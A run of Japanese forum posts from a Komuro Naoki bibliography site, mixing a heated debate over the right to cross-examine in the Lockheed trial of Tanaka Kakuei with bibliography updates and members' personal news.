>(当時一部のいわゆる「人権派弁護士」が、日本の刑事裁判一般の問題点を明らかにするため、という理由でこの点を突いたのは屁理屈としては一応筋が通って入る。しかしもしそうするなら、大弁護団を結成する資力のない被告の事件でそうすべきであろう)。“角を縛った法は丸も三角の立花も渡部も縛る”のです.
ある判例が出来ると困るかどうかというのは,直接裁判を受ける被告人が誰であろうと関係のない話なのです.
そんな事も理解出来ないのですか?>2人は裁判に証人として出廷してはいない。それゆえ、そもそも反対尋問が問題になることなどあり得ないのである。
と言うなど,愚かとしか言いようがありません.
出廷してもいない証人の反対尋問に晒されない調書の類を証拠採用するのは伝聞法則違反です.
貴方は伝聞法則の何たるかも御存知ないのですね.>同じように反対尋問がない(捜査段階なので当たり前)検事調書や警察官による調書が証拠として採用されることは別段珍しくない。
その場合,証人は検察側が呼び出して出廷させねばなりません.コーチャン・クラッター両氏も,本来検察側が呼び出すべき証人です.
>しかしこの裁判を「反対尋問の権利が奪われたので憲法違反だ」とこの期に及んで主張するのは、繰り返すが、バカだけである。
最高裁判所は田中角栄の死後,別の裁判で,嘱託尋問調書の証拠採用に関して違憲判決を出しました.
http://courtdomino2.courts.go.jp/promjudg.nsf/
正に,渡部昇一教授や小室直樹博士が出していた論点でです.
そんな事を言っているのはバカだけだと言っている貴方はそれこそとんでもない大馬鹿者ですね.
ご無沙汰しております。週刊読書人2002年〈平成14年)5月17日P5
近刊セレクト
◇小室直樹「宰相論」(46・一八00円・PHP研究所・5月20日刊)
伊藤博文、ビスマルクなど、東西古今の名宰相たちを比較検討しながら、国際政治の基礎を学び、政治家の器量とは何かを考える。このすぐ後の行に、
(仮タイトル、予価を含む)
とあったのが今思えばとても暗示的。ではでは。
届きますよ(^.^)!
村上君私設応援団長として、村上君に励ましのメールを送りたいのですが、どうすればいいのでしょう。http://www.interq.or.jp/sun/atsun/komuro/の左下にあるメール・アイコンをクリックしてメッセージを書けば、村上君に届くのでしょうか。
>ところで、我らが村上君は、動物園に就職することになったのですか。ちょっと違いますが、ま、似たようなものです。
団長どの、いつも気にかけてくださいまして、ありがとうございます。
しかし、団長どのは一体どなたなんでしょうかぁ…。
謎です(笑)。
Maysonさん、濃い内容の投稿ありがとうございます。
どうぞご遠慮なされることのないよう願います。
わっはっさん、ギコネコ先生の講義、見せてもらいますた。
独特なふいんき(←なぜか変換できない)で、楽しめますた。
ところで、我らが村上君は、動物園に就職することになったのですか。
団長!残念ながら、涙を呑んで一旦田舎に帰ります。
でも、おっしゃるように復活の日の朝日が昇ることを信じて頑張りたいと思います!東京で十数万の生活費を稼ぎながら取れる勉強時間と、
田舎でタヌちゃんの餌付けに挑戦しながら取れる勉強時間とを
比較した結果、かかる結論に至った次第です。しかし、動物王国はインターネットに接続されていないんですよなぁ…。
うーん、田舎に帰ってしまうとは、本当に残念。結局今年の試験の結果は、正式に出たのか?
田舎に帰っても、司法試験合格を目指して頑張ってくれ。いつも応援しています。
パコさんという人の掲示板に、2ちゃんのAAをもとにした小室先生の思想入門みたいなものを作ってみました
http://jbbs.shitaraba.com/bbs/read.cgi/otaku/470/1075027614/241-252
↑これです
まだ、小室歴は短いので、いろいろ内容に間違いがあると思いますが、勘弁してやってください
では
>“調書を証拠に採用する場合,調書を取られた証人は本来検察側が呼び出さ>ねばならない.それが刑事訴訟法の正統な解釈だ.”わたしの意見はこうです。
検察は、証言拒絶権を行使するコーチャンに対して、「刑事免責」を認め証人尋問に踏み切った。(これだけでもデュープロセスに違反して裁判は無効なのですが、それは一応おいとく。)
その証拠は田中裁判において決定的である。
なぜなら、決定的であるからこそ検察は前代未聞の手段をとった。
その決定的証人に対して田中側は証人尋問の機会を奪われた。
田中側は証人尋問はできません。絶対コーチャンは証言拒絶をします。
なぜなら、弁護側は「刑事免責」を認めることなどできないからです。
日本の裁判では認められていません。法律に規定されていない。
田中側は、したくてもできないのです。やれたのにしなかったのではない。
それなのに、検察の行った「刑事免責つき証人尋問嘱託調書」は証拠として
採用された。これこそ人権蹂躙である。どう考えても違憲。
検察は裁判所とぐるになって憲法を踏みにじったのです。
しかも、誰もおかしいとは言わない。デモクラシーここに死す。わたしなりに、小室先生の著作を渉猟して、田中裁判の反対尋問権についての問題点を考察してみました。小室先生に代わってご意見お願いいたします。
長々とすみません。Maysonでした。
私は素人なので,技術的な点で間違える事も有り得ますけど,技術だけ学んで法の精神への理解が全然なっていないのでは本当にどう仕様もありませんよねえ.自分で書いた
>確かに異例でないのかも知れませんね.諸君で立花隆氏を批判した匿名法律家連は,角栄が憎くてこんな裁判になったのではないが,正統な法解釈からすれば大問題なのだと批判していますから.
ですが,
“調書を証拠に採用する場合,調書を取られた証人は本来検察側が呼び出さねばならない.それが刑事訴訟法の正統な解釈だ.”
と言うべきなのか知らん?
それにしても,>なんと彼は、憲法の文理解釈をもちだして、「憲法には被告人としか書いてないのだから、田中に反対尋問権は認められなくてもあたりまえ。」などと、憲法を使って国民の権利を奪う暴挙にでました。
とは,酷い人もいるものですね.
はじめまして。Angelixさん。
Maysonと申します。
このサイトの決まりなどは余りよくわからないのですが、
ぜひ、書き込みさせてください。
さて、例のサイトの小室先生批判ですが、わたしも2ちゃんねるにおいて同様の論旨の批判を展開する論者と(まったく同じ。同一人か?)論争を繰り広げました。
そこで、彼の批判(コーチャンの証人尋問において反対尋問は問題にならない)の根拠は、「あれは捜査段階の話で、被告も存在しないのだから反対尋問など問題になりようが無い。」といったものでした。つまり、「捜査だから反対尋問はいらない」という暴論だったのです。
近代裁判において、自由心証主義のもと「証人尋問嘱託調書」を証拠として提出している以上、コーチャンに対する尋問は「証人尋問」であり、「証人尋問」であるかぎり被告の反対尋問権は認められなければならない。というのが
この批判に対する私の主張だったのですが、なんと彼は、憲法の文理解釈をもちだして、「憲法には被告人としか書いてないのだから、田中に反対尋問権は認められなくてもあたりまえ。」などと、憲法を使って国民の権利を奪う暴挙にでました。それからはレトリックの応酬になりそうなので退論しましたが、
彼は、まったく憲法を知らず。デュープロセスの原則を知らずして、裁判を語るに過ぎない者でした。Angelixさんのおっしゃるとうりのヨタです。わたしが宣誓して証言をしてもよい。初めての書き込みで長々と申し訳ありませんでした。Maysonでした。
例のサイトへのコメントを書いたのですが,文字数制限のせいで投稿出来ませんでした.序でに添削願います.
(以下コメント)
ヨタとは貴方のこの発言の方です.
小室直樹博士や渡部昇一教授が直接批判しているのは角栄裁判ですが,判例になると刑事被告人の人権が途轍もなく踏み躙られる事になるときちんと述べられているはずです.>すでに忘れておられる方も少なくないとは思うが、「反対尋問」云々は当時いろいろあったロッキード裁判批判のなかでもダントツでレベルの低い代物である。どれくらい低いかと言えば、この説を熱心に唱えていたのが渡部昇一であった、と書けばわかる人には(笑)わかるだろう
では,何故,最高裁判所は,田中角栄の死後,別の裁判で,嘱託尋問に関して違憲判決を出したのですか?最高裁は馬鹿なのですか?
渡部昇一教授が,沢山の法学者から支持する手紙が来たと言っているのは出鱈目ですか?
ラジオでの法学者へのインタヴューでも皆が氏の論が正しいと言っていたというのは出鱈目ですか?>要するに、反対尋問的性格の問いにさらされていない調書が証拠採用されることは日本の裁判では異例でもなんでもなく、それをもってしてロッキード裁判を「憲法違反」などというのはバカとしか言いようがないのである
確かに異例でないのかも知れませんね.諸君で立花隆氏を批判した匿名法律家連は,角栄が憎くてこんな裁判になったのではないが,正統な法解釈からすれば大問題なのだと批判していますから.
で,異例でないから憲法違反かどうかという問題はないとでも言うのですか?
慣習法という意味で憲法という言葉を使うなら話は別ですが,日本国憲法の明文の規定ではこうで,その考え方はこうだという議論においてこの言葉は,全く無意味です.
考えが足りないとしか言い様がありません.
だったら自衛隊は憲法違反かどうか論じるのは全くナンセンスという事になりますね.>(当時一部のいわゆる「人権派弁護士」が、日本の刑事裁判一般の問題点を明らかにするため、という理由でこの点を突いたのは屁理屈としては一応筋が通って入る。しかしもしそうするなら、大弁護団を結成する資力のない被告の事件でそうすべきであろう)。
“角を縛った法は丸も三角の立花も渡部も縛る”のです.
ある判例が出来ると困るかどうかというのは,直接裁判を受ける被告人が誰であろうと関係のない話なのですよ.
そんな事も理解出来ないのですか?>ついでに言っておけば、クラッター、コーチャン2人の証言は捜査段階では重要だったものの、裁判では2人の証言内容は他の証人の証言によっても明らかにされており、この嘱託尋問調書がなければ角栄が有罪にならなかったということもないのである。
嘱託尋問調書にそんな価値しかないのなら,
(“萬犬虚に吠える”渡部昇一著 徳間文庫教養シリーズ より)
>ところが他ならぬ立花隆氏が検察のコーチャン氏らに対する免責声明についてこうも言っておられるのである.
>「全く前例のない行動を敢えて検察は苦渋に満ちた判断として取る.時の検事総長が『失敗したらオレが腹を切って全責任を取る』といって大決心でやった」(VIII・31)
>あっても無くてもいい調書なら,腹を切るもヘチマもない.この嘱託尋問調書なしに有罪に出来るならどんな裁判官でもそうしただろう,そうすれば判決にスキを見せなくてもすむ.
(*VIII・31とは,諸君昭和59年8月号 p.31 の略号)
でしょう?
それに,嘱託尋問は重要でないという言葉に対しては,嘱託尋問から導き出された証拠は違法収集証拠排除規則に該当するので,それ以降の捜査で挙がった証拠も毒の実の果実なのでこれらも証拠能力がないのだ(田中角栄氏の弁護をした木村喜助弁護士)と言う点を指摘しておきましょう.適正手続きに対する重大な違反です.>2人は裁判に証人として出廷してはいない。それゆえ、そもそも反対尋問が問題になることなどあり得ないのである。
と言うなど,愚かとしか言いようがありません.日本の裁判に出廷する気もないような者の言いっぱなしを証拠にして良いなどという刑事訴訟法などありません.直接主義違反若しくは伝聞法則違反です.認められるとすれば,それは近代刑事訴訟法ではありません.
検察が呼ぼうともせず(本来は検察側が呼ぶべき証人だ!),被告人の反対尋問権の保証もせず,出廷もさせないような証人の証言について反対尋問が問題になることがないのがその通りなら,同時にそういった“証人”の調書を証拠として採用するのは例外規定(制限列挙.死んだ,病気になった,調書が取られた後国外に行ってしまい呼び戻せない)にも該当しないので証拠として採用するのは刑事訴訟法違反です.>しかしこの裁判を「反対尋問の権利が奪われたので憲法違反だ」とこの期に及んで主張するのは、繰り返すが、バカだけである。
馬鹿と言っている貴方は,近代刑事訴訟法のなんたるかも分からない大馬鹿者ですね.
渡部昇一教授の文章が基です.
“角を縛る法律は丸も三角も立花も渡部も縛る”
と私は書きましたが,正しくは,
“角を縛った法は丸も三角も立花も渡部も縛る”
(“萬犬虚に吠える”渡部昇一著 徳間文庫教養シリーズ p.164)
です.
それで検索してもヒットしませんね.
角栄裁判批判は法律の話であり,同様の例に対しては誰にでも同じように法律が適用されるのだ,角栄がどうとか,それだけの話に止まるのではないのだぞという事です.
後,嘱託尋問に関しては,弁護側が証人尋問を申請して却下されています.立花隆氏はロッキード裁判の傍聴した時にはその事の意味を全く念頭に置いていなかったのだろうと,渡部昇一教授に言われていますね.
>ということは、反対尋問をできなかったのですから、憲法違反ですね。憲法違反の有罪判決は無効と考えられないですか?裁判所がさせなかったのなら憲法違反になるでしょうが、弁護人がそういう手続きを意図的か怠慢かでやろうとしなかったということであるならば、弁護人は国ではないので憲法違反はできませんから、先生はあえて「権利を否定された」といわれたのでしょうね。否定したのはマスコミや国民を含めてです。
小野寺さんお返事ありがとうございます。わかりやすい内容で勉強になります。>とりあえず、小室先生のいかった顔をみていただいて。
お写真頂きました。この頃は私はまだ小学生。リアルタイムで読みたかったです。日本人の罪を一身に背負わされたってフレーズが結構ずしっときます。
>弁護人を含めて国民全体の法意識を問題にしているようです。
問題はココですか。そう考えると一気にわかりやすくなりました。
憲法第37条第2項を引用します。『刑事被告人は、すべての証人に対して審問する機会を充分に与へられ、又、公費で自己のために強制的手続により証人を求める権利を有する。』
>角栄は、反対尋問をする権利を否定されたままで、有罪の
>判決をうけたのであった。ということは、反対尋問をできなかったのですから、憲法違反ですね。憲法違反の有罪判決は無効と考えられないですか?
>つよぽんさん、このくらいの批判で驚いてはいけません。
結構図星です。
>とりあえず角栄関係の一連の本を読んでみてください。
『野獣系で行こう』『田中角栄の遺言』あたりを読んでみます。
Angelixさんお返事ありがとうございます。読ませて頂きました。>証人を法廷に呼び出さずに調書を証拠として採用する事は
>刑事訴訟法違反だったはずです.なるほど。法律違反はだめですね。
>嘱託尋問調書に関しては,既に同じ事件の別の裁判で憲法
>違反だったと最高裁が認めています.そうだったんですか。彼はそういうことも知らずに小室先生の批判をしていたんですね。
>“角を縛る法律は丸も三角も立花も渡部も縛る”
インターネットで調べてみましたが、意味がわかりませんでした。なんだかおもしろそうなのですけどね。
(1) 1986107 「なぜ戦争はなくならないか 小室直樹『新戦争論』」『本のなかの本』(向井敏著) 毎日新聞社 132-133 1986/3/10、1981001の書評
(2) 1992109 『ついついの発言』(山藤章二著) 講談社 95 1992/7/29、1991023からの引用以上、2点。
小野寺さん、データありがとうございました。
(1)は、「書評の鬼」(松岡正剛)向井敏氏による『新戦争論』の書評です。
(2)は、立川談志氏との対談の一部です。短いので、引用しておきましょう。
(以下、引用(正確には引用の引用))
餓死寸前というけど、テレビで見てわかる通り、ロシア人はみな血色がよく太っていますよ。それからよく犬を飼っている。本当に飢えているのなら、犬を殺して食べるに決まっている。(以上、引用)
評論家 小室直樹
団長!残念ながら、涙を呑んで一旦田舎に帰ります。
でも、おっしゃるように復活の日の朝日が昇ることを信じて頑張りたいと思います!東京で十数万の生活費を稼ぎながら取れる勉強時間と、
田舎でタヌちゃんの餌付けに挑戦しながら取れる勉強時間とを
比較した結果、かかる結論に至った次第です。しかし、動物王国はインターネットに接続されていないんですよなぁ…。
Angelixさん、ごぶさたです!
わたしも田舎に戻ることになりそうですわ。何と、我らが村上君は田舎に帰ってしまうのか!?!司法試験はどうするのですか。
とにかく、長い夜はいつかは終わる。明日を信じてがんばれ!
(1) 1972101 「社会化システムの理論」(中山慶子著) 社会学評論 日本社会学会 88 63、67、72
(2) 2000121 『SSPS-V2システム 機械的成功法』(田中孝顕著) きこ書房 152-160 2000/5/17、『超常識の方法』(1981004)からの引用以上、2点。
(2)みたいなのを関連文献としてあげると、
「おいおい、こんなの読んでんのか?」
なーんて思われそうで、恥ずかしいですな(笑)。そうそう、「あなたは成功する。頭脳明晰である。」とかなんとか暗示をかけてくれる、付属のCDも何度か聞きましたが、あんまり効果なかったですなぁ…。
どうせなら声優はおっさんでなくって林原めぐみで録音してくれぃ、と言いたい。
つよぽんさんの紹介してくださったブログについては、
あのブロガーさんがこの掲示板に直接書き込まれたわけではないので、あたしゃ、ノーコメントとしておきます。Angelixさん、ごぶさたです!
わたしも田舎に戻ることになりそうですわ。
とりあえず、小室先生のいかった顔をみていただいて。http://jp.y42.briefcase.yahoo.co.jp/bc/quarrymen500/
>田中弁護団も2人を証人申請するなり、2人に対する新たな嘱託尋問を請求することができたわけだが小室先生は、裁判所のやり方だけを批判しているのではなく、弁護人を含めて国民全体の法意識を問題にしているようです。
1984007p64引用
「根本の問題は、憲法第37条第2項「.......省略....」という最も基本的な権利について、弁護人の主張にも裁判所の論旨の中にもまったく触れられていないことである。
何と、角栄は、反対尋問をする権利を否定されたままで、有罪の判決をうけたのであった。憲法に明記された最も基本的な権利を裁判所は白昼堂々とこれを無視し、弁護人もあまり重視しない。マスコミも大衆も、護憲運動を起こそうとはしない。真昼の暗黒どころではない。太陽の消滅ではないか。」
つよぽんさん、このくらいの批判で驚いてはいけません。関連文献にはこの手のものはたくさんあります。先生から見れば、ちまたの意見とは違うことはひゃくも承知でいってるんですから当然ですね。わざと世間の空気に挑戦しているんですから。
もっともほんとに先生のいっていることを十分に理解したうえで、有益な批判をしている例はごくわずかだと思いますが。
とりあえず角栄関係の一連の本を読んでみてください。
(よく読んでみると,人権派弁護士の話にも触れられていたので,前に書いた文は削除しました.)
そもそも出廷していない証人の証言を調書として証拠採用するのが問題なのです.
確かに,出廷してもいない証人の発言に関して反対尋問の問題などないかも知れません.
でも,同時に,調書が取られた後死ぬなどして法廷に呼び出せなくなったとかいう訳でもないのに,証人を法廷に呼び出さずに調書を証拠として採用する事は刑事訴訟法違反だったはずです.
嘱託尋問調書に関しては,既に同じ事件の別の裁判で憲法違反だったと最高裁が認めています.
反対尋問に晒されない調書の採用が常態化していると言うのであれば,日本の刑事裁判の実態が間違っているとしか言いようがありません.
“角を縛る法律は丸も三角も立花も渡部も縛る”という言葉の意味が理解出来ていない者です.
小室直樹先生って毀誉褒貶が多くてまたその落差が激しい人ですね。googleで小室直樹先生に関係あるウェッブページを検索して読んでいたらこんなページを見つけました。私には内容の真偽について議論できるほどの知識レベルはないですが。http://homepage.mac.com/biogon_21/iblog/B1604743443/C1028182794/E735228537/index.html
皆さんはどう考えられるのでしょうか?
見たくない人は見ない方がいいと思いますよ。
そのままですから。
残念ながら「タヌちゃん」は激写できませんでした。1.タメグソのあった、庭の竹やぶ
「これが庭か」というなかれ。
動物王国ですから常識は通じません。
http://www.interq.or.jp/sun/atsun/pic/tame0.jpg2.タメグソに接近
http://www.interq.or.jp/sun/atsun/pic/tame1.jpg3.キターーーーーーーーッ!
http://www.interq.or.jp/sun/atsun/pic/tame2.jpg
あぁ、くだらん。
しかし、これを見てタヌキのタメグソだと分るウチの親も親ですな。
えらい難儀しましたわ。
ギックリ腰がこれほどつらいものとは思いませんでした。
一度横になるともう起き上がれないんです。
情けない悲鳴を何度も上げて、何分か頑張って、
それでようやく「せむし男」状態でしたから。これまでは若者のつもりでしたが、
急に老人になったような気分でした。それで昨日、動物王国周辺で有名な柔道整体師の方になんとか動けるまでに直してもらいました。
原因は運動不足と姿勢の悪さだそうです。
そういえばこの数ヶ月、歩くこともほとんど無く、
ずっと机の前に座りっぱなしでしたから、
ギックリ腰になるのも当然だったのかもしれません。いやぁ、それにしても治療してくださった柔道整体師の方は真のプロでした。
ずっと座っていたという私の話と、私の背骨のゆがみだけを見て、
部屋の中の机の配置をズバリと言い当てられたのですよ。
さすがだと思いました。
十数分の治療で動けるようになりましたし。
感謝感激。
でも、30分で治療費6,700円也。
あ、やべぇ…。今、目覚まし時計がなり始めたので、あわてて消したのですが、
この留守中、12時間ごとにこの音が鳴っていたんですなぁ。
いや、すみませんでした、隣近所の方々。
閑話休題、
FITOMAROさん、ご無沙汰しております。
部屋に居ると数十メートル先でウグイスの声が響いておりましたよ。
チワワのように文明化された動物の鳴き声は響いていませんしたなぁ。昨晩はホタルを見に行ったのですが、
ホタルの棲息地までは動物王国から20分ほど自動車にのって、
更に奥地に行かねばなりませんでした。
まだ時期的に早いようで、7匹ほどが川辺をフワフワと飛んでいました。
小野寺さん、動物王国からネットに接続できるといっても携帯ですからなぁ…。
いゃあ、レーガンさん亡くなりましたなぁ。こちらは色々ありました。
今、松山空港で、東京に向かっているところです。数日後には、また動物王国にもどることになってしまいました。
おっ、搭乗案内ですわ。
では、また後ほど。
ニュースをきいて、この文献を思い出しました。1981018 小室直樹の「新・アメリカの逆襲」第1回 週刊現代 講談社 3/5号 32-36 に始まる連載
「アメリカの逆襲」を出した翌年、先生は、ホワイトハウスからNational prayer of breakfastに招待され、レーガンの演説を目の当たりにします。そこでの「宗教国家アメリカの姿」の描写からこの連載は始まります。
その話題に入る前に、帰国した成田空港での、イスラエルにいこうとしていた山本七平氏との会話についてちょっとふれています。
>以前はよく、天井裏でイタチがネズミを追っかけ回っていましたが、まさかタヌキとかイノシシが出没するほどの田舎だとの認識はなく、軽いカルチャーショックを受けてます。
まさに学問に没頭できる場所ではないですか?(笑)
あるいは霊能力や超能力の修行にもよいような。食べていけるなら住んでみたい。ネットはつながっているようだし。
わはは、受ける
▽・w・▽
(ちわわ)
タメグソって知ってます?
タヌキの習性に「一箇所でうん※をする」ってのがあって、それををタメグソと言うらしいんです。
なんとウチの庭の竹やぶで、そのタメグソが見つかったそうですよ。
もちろん、その後、父が当のタヌキを何度か見かけたそうです。「丸かったよ」と言ってました。すでに「タヌちゃん」という愛称までついてました。
また、ウチのみかん山では、山芋が掘り起こされて辺り一帯が酷く荒らされていたそうなんですが、犯人探しをしたらその「犯人」はイノシシらしいですよ。以前はよく、天井裏でイタチがネズミを追っかけ回っていましたが、まさかタヌキとかイノシシが出没するほどの田舎だとの認識はなく、軽いカルチャーショックを受けてます。
今は、ただただ無事に東京に戻れることを祈るのみです。
>1.1969103 機能主義的社会変動論の問題点(新明正道著) 社会学評論 日本社会学会 77 2-5これは、1969102と同じ号ですね。なんかみたことあるなあという気がしました。しかし、私のもってるコピーの記録では1969101と1969102が逆になってるなあ。
>2.1970102 第42回日本社会学会大会報告(河村望著) 社会学評論 日本社会学会 80 76-78
大学紛争で予定が変わったとか書いてありますなあ。時代を感じますなあ。
以下の2点、追加しました。1.1969103 機能主義的社会変動論の問題点(新明正道著) 社会学評論 日本社会学会 77 2-5
2.1970102 第42回日本社会学会大会報告(河村望著) 社会学評論 日本社会学会 80 76-78
やり残した作業を済ませておかねば。1968005「社会行動論の基礎」の画像UPです。
![]()
タイトルの"n"を一つ抜かすと、臭ってきそうですな。
http://www.interq.or.jp/sun/atsun/komuro/1958-1980/1968005.html
またなにかありましたら、どうぞ。そういえば、構造機能分析を批判した論文(関連文献目録 1984109)(橋爪・志田・恒松共著)における、批判の一つの根拠は「アローの背理」です。
さて、諸事情により(T^T)、明日からしばらく消えます。
アディオス、アミーゴ!
村上さん、小野寺さん、ありがとうございました。
>書いたあとそう思いました。すみません。
さっきの私が最初「合成の誤謬」と書かず、「アローの背理」のみを書いて、修正したのと同じ状況のようですね。
保存しない限りログがながれるチャットとは違って、
掲示板がチャット的になると面倒です。>要はいいたいことは、先生の最近の主張は、国を立て直すてがかりは、根本的には教育にあるとおっしゃってますよね。でも教育でみんながよくなっても合成の誤謬になったらどうしようもないではないかと。イギリスの教育がよいので経済がだめになったと昔いわれたように。
だからどうしようもなくなった日本の教育や若者であったほうが、国がよくなることだってあるんじゃないかと、極端に言えばこういうことを考えただけなのです。うーん、なるほど。
そのときの日本が「どうしょうもなくなった日本の若者」こそが機能する社会構造になっていれば、「国がよくなる」ということも確かにありうるでしょうなぁ。
>日本国民が一人一人がノブレス・オブリッジの意識をもつことはできないんじゃないかと思いますよ。書いたあとそう思いました。要はいいたいことは、先生の最近の主張は、国を立て直すてがかりは、根本的には教育にあるとおっしゃってますよね。でも教育でみんながよくなっても合成の誤謬になったらどうしようもないではないかと。イギリスの教育がよいので経済がだめになったと昔いわれたように。
だからどうしようもなくなった日本の教育や若者であったほうが、国がよくなることだってあるんじゃないかと、極端に言えばこういうことを考えただけなのです。
>ただ気になるのは、日本人一人一人がノブレス・オブリッジの意識をもって、国のために行動することが出来るようになったら、この「合成の誤謬」はおきないのでしょうか。「お言葉ですが」、小野寺さん。
日本人一人一人がノブレス・オブリッジの意識をもつことはできないんじゃないかと思いますよ。
だって、「ノブレス・オブリッジとは、特権を有するものは、それだけ大きな責任を社会に対して負う、という自覚である。…中略…その一例が英国貴族である。」(『ソビエト帝国の崩壊』、光文社、1980年、33頁)でしょう。というわけで、「ノブレス・オブリッジ」ではなく、別の言葉にした方がいいと思います。
はて、なにがいいんでしょうかなぁ。
“public virtue”だとカッコつけ過ぎですし、
「公共心」だとちょっと硬いし、
「公に対する云々」だと、よしりんっぽくなってしまいますかなぁ?ちなみに、わたしはこの「ノブレス・オブリッジ」、
故『GORO』誌(子殺し!)の落合信彦の連載で知りました。
ですから、ついつい、「ノビーレス・オブリージュ」と言ってしまいます。
村上さんのご説明にあるとおりですが、「超常識の方法」の最後の方にでてきたときにインパクトがあったと思います。古くは、「法社会学講座」などにもでてきましたね。>「一人一人が良くなれば社会も良くなるというのは間違いである。」
正確に言うと「必ずしもそうならない」「むしろ逆の結果を生むこともありえる」とでもいいましょうか。
ただ気になるのは、日本人一人一人がノブレス・オブリッジの意識をもって、国のために行動することが出来るようになったら、この「合成の誤謬」はおきないのでしょうか。
テッド(会員番号2346)さん、ようこそいらっしゃいました。それは、「合成の誤謬(ファラシー・オブ・コンポジション)」のことだと思われます。博士はよく「マンデヴィルのジレンマ」、「ケインズのジレンマ」、「アローのジレンマ(アローの背理、Arrowの反例)」を具体例として挙げられます。
さて、現在容易に入手可能という意味で、手近なところですと、『数学嫌いな人のための数学』(東洋経済新報社、2001)、326〜328頁にあります。
また、『超常識の方法』(祥伝社、1981年)、または最近、学問道場で独自復刊された『数理的思考』(2003年、SNSI・副島隆彦事務所)、207〜216頁にあります。
さらに、一般向けではなく論文の一部としてでしたら、『社会学講座1 理論社会学』(東京大学出版会、1974年)、42〜44頁にも記載がありますな。
ご参考にしてみてください。
こちらの掲示板には初めて投稿します。テッド(会員番号2346)です。
よろしくお願いします。教えて欲しいことがあります。
「一人一人が良くなれば社会も良くなるというのは間違いである。」と小室先生が書いておられたのは、どの本だったでしょうか。教えてください。よろしくお願いします。
下にリンクしたHPにインスパイアーされ、
いてもたってもいられなくなりました!!
小室博士バージョンです!!!
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どうぞっ!
でも、心臓が弱い方はおやめください。
わっはっさんまったく問題ないですよ。
気にせずやってくだされ〜。
もとより許可云々の話ではありません(笑)。>あと、遅くなりましたがリニューアルおめでとうございます
どうもありがとうございます。
>>児島さん
早速ありがとうございますいろいろ書いて申し訳ないのですが、イーエスブックスに「私の書店」というコーナーがあり、そこでは本が100冊程度、本一冊につき450文字以内のレビューが書けます。
早速今日からレビューを書きたいと思います。
いろいろ書いてごめんなさい
書いたレビューはここの掲示板に書いたら迷惑でしょうか?みんなで「ここはこうしたほうがいい」みたいな議論もやったらいいかと思います。迷惑でしたら私のメールアドレスをさらすのでそちらにお願いしますあと、遅くなりましたがリニューアルおめでとうございます
わっはっさん児島です。
>アマゾンドットコムに「リストマニア」というのがあるのですが、その中のリストを誰か私と一緒に作りませんか?いいですね、ぜひ参加させてくださいませんか?
とは言っても時間が限られてますので、数がなかなか増えないかもしれませんが・・・。>本の選びも小室先生の思想が全体的にわかる、というものにしたいと思っています
そうですね、できるだけ偏りの無いようにしたいですね。広範な小室先生の学問領域を、(恐れ多くも)われわれでレビューしてみるというのも、面白いこころみだと思います。
それこそ、日ごろどれだけきちんと読めているか、試されるわけですけども・・・。自分の希望する著作を挙げていく、という形で進めていくのがいいと思うのですがどうでしょうか、みなさん。
人気作の取り合いになったりして(笑)。
>気がつかなかった…_| ̄|○ 。まだやってないのでなんともわかりません。今月は掲示板の見すぎなどで、基本料をオーバーしてしまったので来月試してみます。(笑)
アマゾンドットコムに「リストマニア」というのがあるのですが、その中のリストを誰か私と一緒に作りませんか?
本を25冊選べ、簡単な紹介文が書けます(あんまり長いものは無理ですが)
アマゾンは多くの人が見るので、小室先生の思想をいろんな人に知ってもらえるような気がします
本の選びも小室先生の思想が全体的にわかる、というものにしたいと思っていますとりあえず
「痛快憲法学」小室先生の全思想が収められています。講義形式、しゃべり口調で話しているので読みやすい。初めて小室先生を読む人はこの本から入るのが言いと思います
こんな感じで考えています
>これを携帯に送ってそれを保存できれば、いつでも調べられるかな。でもみずらいかな。最低限の情報に絞ればそうでもないかな。気がつかなかった…_| ̄|○ 。
今ちょっと、1958−1980の目録をテキストにしてみたら10kb弱でした。これを携帯に送ってそれを保存できれば、いつでも調べられるかな。でもみずらいかな。最低限の情報に絞ればそうでもないかな。
おぉ、朝になってしまった…
さて、ついに「小室直樹文献目録」が携帯の世界に登場です。
「小室直樹文献目録 モバイル」の宣伝小室本読者の皆さん、こんなことってありませんか?
図書館にて。
「OPAC(検索)がインターネットに接続してなくって、小室直樹文献目録に接続できない。」古本屋の棚の前にて。
「たしかこの雑誌に論文があったはずだけど、どの号だったかわからない…」そもそも図書館や本屋に出かける前。
「情報量が多いのはいいが、プリントアウトしたり、メモするのがとにかく面倒。」これからは、そんなことで心を悩ます必要はありません。
だって「小室直樹文献目録 モバイル」があるから。〜いつでもあなたのそばに「小室直樹文献目録」〜
なーんてね(笑)。
「そもそも携帯持ってないと無意味じゃん」
などということはいわないでね♪
えぇ…、作成にあたってですが、・URLはできるだけ短くするよう頑張りました。
・携帯用HPでは、1頁あたり(おぉ、なんとたったの)9KBしか使用できないので、年度ごとになっています。ただ、次の年度にすぐ飛べるように工夫はしました。
・ファイル形式はxhtmlです。
i-modeとEZwebでは動作確認済みです。
(EZwebの少し古いのは、動くかどうかわかりません。)
ボーダフォンは良くわかりません。
あの、「ボーダフォン ライブ!」っていうのは一体なんなんだ??・パケ代にはお気をつけて。
約1年ぶりの改訂となりました。
小野寺さんが整理しておいてくださったおかげで、
ずいぶんと助かりました。
どうもありがとうございました。37データ追加です。
1966003 構造機能分析と均衡分析
1967001 構造機能分析の原理
1969003 機能分析の理論と方法『社会学評論』誌には巻末に英語の要約(summaryってヤツか?)があることを小野寺さんから教えていただきました。
ありがとうございます!
上記論文は下記のサイト、メディカルオンラインで購入可能なようです。http://www.meteo-intergate.com/journal/jsearch.php?jo=cm2behav&ye=1974&vo=&nu=1
児島さん>ウィキペディアの中のいくつかの項目を見てまわっていました。
それはご苦労様です。
>山本七平氏、渡部昇一氏に関しても「フェミニストである。」との記述が。両氏ともフェミニストではないと思うので、どこかのだれかがいたずらしたように思います。
あれぇ、本当ですね。わたしも今確認しました。
おっしゃる通り、いたずらでしょうなぁ。
渡部昇一氏がフェミニストの福島瑞穂女史と意気投合している姿を想像して、笑ってしまいました。
こんにちは、児島です。ウィキペディアの中のいくつかの項目を見てまわっていました。
山本七平氏、渡部昇一氏に関しても「フェミニストである。」との記述が。両氏ともフェミニストではないと思うので、どこかのだれかがいたずらしたように思います。
『憂国忌へのご案内』です。DVDとCD-Rはこの文献目録では初めてですね。
もはや文献目録とはいえないようになってきましたかな?
>それにしてもなんでそうなったのでしょうね。理由が知りたいですね。そうですねぇ。
「ファナティスト」と書こうと思われていたんだったりして(笑)。>トップページのこれは開くたびに違う文献の画像がでるのですね。
そうなんです。Java スクリプトを使ってみました。
今はずっとやりたかったことをとりあえずやってみています。
また、そのうちスッと消えるかと思いますが、それまでは(笑)。こうすると、
